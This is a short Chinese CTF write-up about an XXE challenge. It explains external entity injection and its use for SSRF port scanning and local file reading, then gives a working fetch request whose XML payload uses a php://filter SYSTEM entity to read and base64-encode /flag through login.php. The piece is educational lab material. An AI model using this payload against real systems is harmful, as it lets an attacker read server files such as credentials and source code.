当前位置: 首页 > news >正文

CTF-XXE XML大冒险:你能找到隐藏的宝藏吗?

1.外部实体注入 XXE + SSRF 内网端口扫描 + 本地文件读取

(1)XXE(XML External Entity)外部实体注入

XML 支持自定义 DTD 文档类型定义,可以通过SYSTEM关键字声明外部实体,让服务器去读取本地文件、发起内网 / 外网 HTTP 请求。 如果后端使用了未禁用外部实体的 XML 解析库,就会触发 XXE 漏洞,攻击者可以:

1.读取服务器任意本地文件(/etc/passwdlogin.php源码等)

2.结合 SSRF 对内网进行端口扫描、访问内网隐藏服务

2.查看网页源代码

3.打开 F12 查看页面源码,发现登录点击事件绑定doLogin()JS 函数

控制台 fetch 请求代码

fetch("login.php", { method: "POST", headers: { "Content-Type": "application/xml;charset=utf-8" }, body: `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]> <user> <username>&flag;</username> <password>123</password> </user>` }) .then(res=>res.text()) .then(data=>console.log("响应结果:",data))

4.使用cybechef进行解码

5.输入flag

http://www.jsqmd.com/news/1077473/

相关文章:

  • 统一搜索与推荐:大语言模型时代的信息获取新探索
  • 计算机毕业设计之基于Java的私人牙科诊治管理系统的设计与实现
  • Git 常用操作(format-patch, diff)
  • OpenCorePkg实战手册:构建稳定黑苹果引导的5个关键场景
  • 3步掌握Chrome图片格式转换:一键另存为JPG/PNG/WebP的终极指南
  • MySQL 深度优化:从索引原理到分库分表的进阶实战
  • 从手搓LLM到智能体架构:大模型工程化实战路径
  • 白杨SEO:企业官网有啥价值?AI搜索友好网站页面三大标准是啥?
  • SSH 隧道实用指南:本地与远程端口转发全解析,助你成隧道高手!
  • AI伦理实战课:从数据采集协议到上线备案的工程化落地
  • 2026年单北斗GNSS变形监测产品推荐,引领精确监控新风尚
  • 2026年小程序卖货平台搭建哪家好?适合商家的商城系统推荐
  • 计算机毕业设计之基于Java的小区业主服务平台的设计与实现
  • 从零到生产级:Ubuntu桌面/WSL2/Server三种场景下IntelliJ IDEA静默安装脚本(bash + ansible + systemd unit全栈交付)
  • NL2SQL技术原理与实战指南
  • 多播组成员动态加入退出时如何实现毫秒级状态同步与故障隔离
  • NLP语义脉搏监测系统:用知识图谱解码技术演进
  • 深入解析musl libc的TLS初始化机制:从__init_tp到线程局部存储
  • 销售分析怎么做?优秀的销售分析分析都离不开细分思维
  • 2026上半年AI视频模型演进:从Seedance 2.0到Hedra Avatar的工程实践
  • 呼市全屋定制工厂,2026年6月亲测推荐
  • 2026年GEO优化系统源码二次开发,如何抢占流量新风口?
  • 限时解密:JetBrains官网未公开的离线安装包获取通道,以及如何绕过Activation Server验证(仅限教育邮箱与开源项目认证用户)
  • MSC8112系统总线地址空间解析:从物理地址到外设控制实战
  • PPTist:免费网页版PPT制作工具,3分钟快速创建专业演示文稿
  • 英雄联盟智能助手Seraphine:终极战绩查询与自动BP工具完全指南
  • 房地产ERP系统HTTP头注入漏洞实战:X-Forwarded-For引发的SQL注入攻防
  • C++队列(练习题)
  • 【毕业设计】基于 Django 的医疗数据可视化辅助诊疗系统的设计与实现 基于 Django 的社区智能医疗服务辅助系统(源码+文档+远程调试,全bao定制等)
  • 极低温测量的“狙击手”:DABT-PT509高精度PT100采集卡与工业物联网接入实战